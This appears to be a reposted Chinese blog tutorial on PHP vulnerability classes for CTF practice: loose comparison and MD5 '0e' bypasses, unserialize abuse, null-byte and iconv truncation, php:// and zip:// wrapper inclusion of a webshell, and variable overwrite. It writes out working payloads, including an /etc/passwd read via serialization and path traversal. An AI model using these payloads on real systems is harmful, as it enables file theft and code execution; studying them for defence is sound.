您的位置 首页 php

由PHP引出的安全问题

PHP作为”世界上最好的语言”,其应用场景相当广泛,同时也引出了很多安全问题

一、弱类型

首先,我们需要知道PHP语言中一些相等的值,如:

» ” == 0 == false

» ‘123’ == 123

» ‘abc’ == 0

» ‘123a’ == 123

» ‘0x01’ == 1

» ‘0e123456789’ == ‘0e987654321’

» [false] == [0] == [NULL] == [”]

» NULL == false == 0

» true == 1

在PHP语言中,比较两个值是否相等可以用”==”和”===”两种 符号。前者会在比较的时候自动进行类型转换而不改变原来的值,所以存在漏洞的位置所用的往往是”==”。其中一个常见的错误用法就 是:

if($input == 1){

敏感逻辑操作;

}

这个时候,如果input变量的值为1abc,则比较的时候1abc会被转换为1,if语句的条件满足,进而造成其他的漏洞。另一个常见的场景是在运用函数的时候,参数和返回值经过了类型转换造成漏洞。下面我们再来看一道真题:

if($_GET[‘a’]!=$_GET[‘b’] && md5($_GET[‘a’])==md5($_GET[‘b’])){

echo $flag;

}

如何才能满足这样一个if判断条件呢?需要使两个变量值不相等而MD5值相等。这样的思路可以通过MD5碰撞来解决 ()。让我们的思路回到PHP语言,MD5函数的返回值是一个32位的字符串,如果这个字符串以”0e”开头的话,类型转换机制会将它识别为一个科学计数法表示的数字”0″。下面给出两个MD5以0e开头的字符串:

‘aabg7XSs’=>’0e087386482136013740957780965295’ ‘aabC9RqS’=>’0e041022518165728065344349536299’

提交这两个字符串即可绕过判断。然后我们再来看一下上面示例题目的2.0版:

if($_GET[‘a’]!=$_GET[‘b’] && md5($_GET[‘a’])===md5($_GET[‘b’])){

echo $flag;

}

当我们将”==”更换为”===”之后(如上方的代码),刚才的两个字符串就不能成功了。但是,我们仍然可以继续利用PHP语言函数错误处理上的特性,在URL栏提交a[]=1&b[]=2成功绕过。因为当我们令MD5函数的参数为一个数组的时候,函数会报错并返回NULL值。虽然函数的参数是两个不同的数组,但函数的返回值是相同的NULL,在这里就是利用这一点巧妙地绕过了判断。

同样在程序返回值中容易判断错误的函数还有很多,如strpos,见PHP手册:

(PHP 4, PHP 5, PHP 7) strpos查找字符串首次出现的位置

if(strpos($str1,$str2)==false){

//当str1中不包含str2的时候

敏感逻辑操作;

}

这也是一种经常能见到的写法,当str1在str2开头时,函数的返回值是0,而0==false是成立的,这就会造成开发者逻辑之外的结果。

二、反序列化漏洞

PHP提供serialize和unserialize函数将任意类型的数据转换成string类型或者从string类型还原成任意类型。当unserialize函数的参数被用户控制的时候就会形成反序列化漏洞。

与之相关的是PHP语法中的类,PHP的类中可能会包含一些特殊的函数,名为magic函数,magic函数的命名方式是以符号”__”开头 的,比如__construct、__destruct、__toString、__sleep、 __wakeup等。这些函数在某些情况下会被自动调用。

为了更好地理解magic函数是如何工作的,我们可以自行创建一个 PHP文件,并在当中增加三个magic函数:__construct、__destruct和 __toString

<?php

$lists = [];

Class filelist{

public function __toString(){

return highlight_file(‘hiehiehie.txt’, true).highlight_file($this->source, true);

}

} //…..

?>

页面的功能是将从cookie中反序列化过后的对象打印出来,这样 __toString()函数就会在打印的时候被调用。在本地生成filelist对象的时候,可以将source变量的值设置为想要读取的文件名,序列化后再提交即可。

生成序列化字符串的代码如下:

<?php

Class filelist{

public function __toString() {

return highlight_file(‘hiehiehie.txt’, true).highlight_file($this->source, true);

}

}

$f=new filelist();

$f->source=”/etc/passwd”;

print_r(serialize($f));

将打印出来的字符串作为参数提交,即可读取/etc/passwd文件。

如果代码量复杂,使用了大量的类,往往需要构造ROP链来进行利用,可以参考phithon对joomla漏洞的分析,链接地址为:

除此之外,当php调用文件操作相关的函数的时候会执行mate-serialize,所以我们可以上次phar文件,里面构造序列化函数,来对文件进行操作,即phar反序列化漏洞

三、截断

NULL字符截断是最有名的截断漏洞之一,其原理是,PHP内核是由 C语言实现的,因此使用了C语言中的一些字符串处理函数,在遇到 NULL(\x00)字符的时候,处理函数就会将它当作结束标记。这个漏洞能够帮助我们去掉变量结尾处不想要的字符,代码如下:

<?php

$file = $_GET[‘file’];

include $file.’.tpl.html’;

按照正常的程序逻辑来说,这段代码并不能直接包含任意文件。但是在NULL字符的帮助下,我们只需要提交:

?file=../../../etc/passwd%00

即可读取到passwd文件,与之类似的是利用路径的长度绕过。比如:

?file=../../../////////{*N}/etc/passwd

系统在处理过长的路径时会选择主动截断它。不过这两个漏洞已经随着PHP版本的更新而消逝了,真正遇到这种情况的机会已经越来越少。

另一个能造成截断的情况是不正确地使用iconv函数:

<?php

$file = $_GET[‘file’].’.tpl.html’;

include(iconv(“UTF-8”, “gb2312”, $file));

在遇到file变量中包含非法utf-8字符的时候,iconv函数就会截断这个字符串。

在这个场景之中,我们只需提交”?file=shell.jpg%ff”即可,因为在utf-8字符集中单个”\x80-\xff”都是非法的。这个漏洞只在Windows系统中存在,在新版本的PHP中也已经得到修复。

四、伪协议

截断漏洞在新版本的PHP中往往难以奏效,不过在上一部分的两个例子中,我们还能通过伪协议去绕过。但这种情况只适用于我们能控制include指令参数的前半部分的时候。如果在php.ini的设置中让 allow_url_include=1,即允许远程包含的时候,我们可以令参数为:

?file=

这样,PHP服务会从攻击者的服务器上取得shell.jpg并包含。如果我们能上传自定义图片的话,那么我们可以将webshell改名为 shell.php并压缩成zip上传,然后再利用zip协议包含:

?file=zip://uploads/random.jpg%23shell.php

这样即可包含到shell。与zip协议效果相同的还有phar协议。

除此之外,我们还能通过伪协议读取到部分文件。在上面的例子中,如果服务器上有一个index.php,那么我们可以令参数为:

php://filter/convert.base64-encode/resource=index.php

然后,就能在页面中得到index.php文件源码base64编码后的字符串了。

五、变量覆盖

变量覆盖漏洞通常是使用外来参数替换或初始化程序中原有变量的值,在CTF比赛中一般要配合题目的代码逻辑或其他漏洞来进行攻击。本节将会为大家介绍3种可以导致变量覆盖漏洞的情形。

a)extract函数

考虑如下代码:

<?php

$auth = false;

extract($_GET);

if ($auth) {

echo “flag{…}”;

} else {

echo “Access Denied.”;

}

?>

此处的extract函数将GET传入的数据转换为变量名和变量的值,所以这里构造如下Payload即可将$auth的值变为true并获得flag:

?auth=1

b)parse_str函数

考虑如下代码:

<?php

$auth = false;

parse_str($_SERVER[‘QUERY_STRING’]);

if ($auth) {

echo “flag{…}”;

} else {

echo “Access Denied.”;

}

?>

此处的parse_str函数同样也是将GET传入的字符串解析为变量, 所以Payload与上方extract函数的Payload一样。

c)import_request_variables函数

考虑如下代码:

<?php

$auth = false;

import_request_variables(‘G’);

if ($auth) {

echo “flag{…}”;

} else {

echo “Access Denied.”;

}

?>

此处,import_request_variables函数的值由G、P、C三个字母组合而成,G代表GET,P代表POST,C代表Cookies。排在前面的字符会覆盖排在后面的字符传入参数的值,如,参数为”GP”,且GET和POST同时传入了auth参数,则POST传入的auth会被忽略。

需要注意的是,这个函数自PHP 5.4起就被移除了,如果需要测试上方的代码请安装版本号大于等于4.1小于5.4的PHP环境。

文章来源:智云一二三科技

文章标题:由PHP引出的安全问题

文章地址:https://www.zhihuclub.com/76627.shtml

关于作者: 智云科技

热门文章

网站地图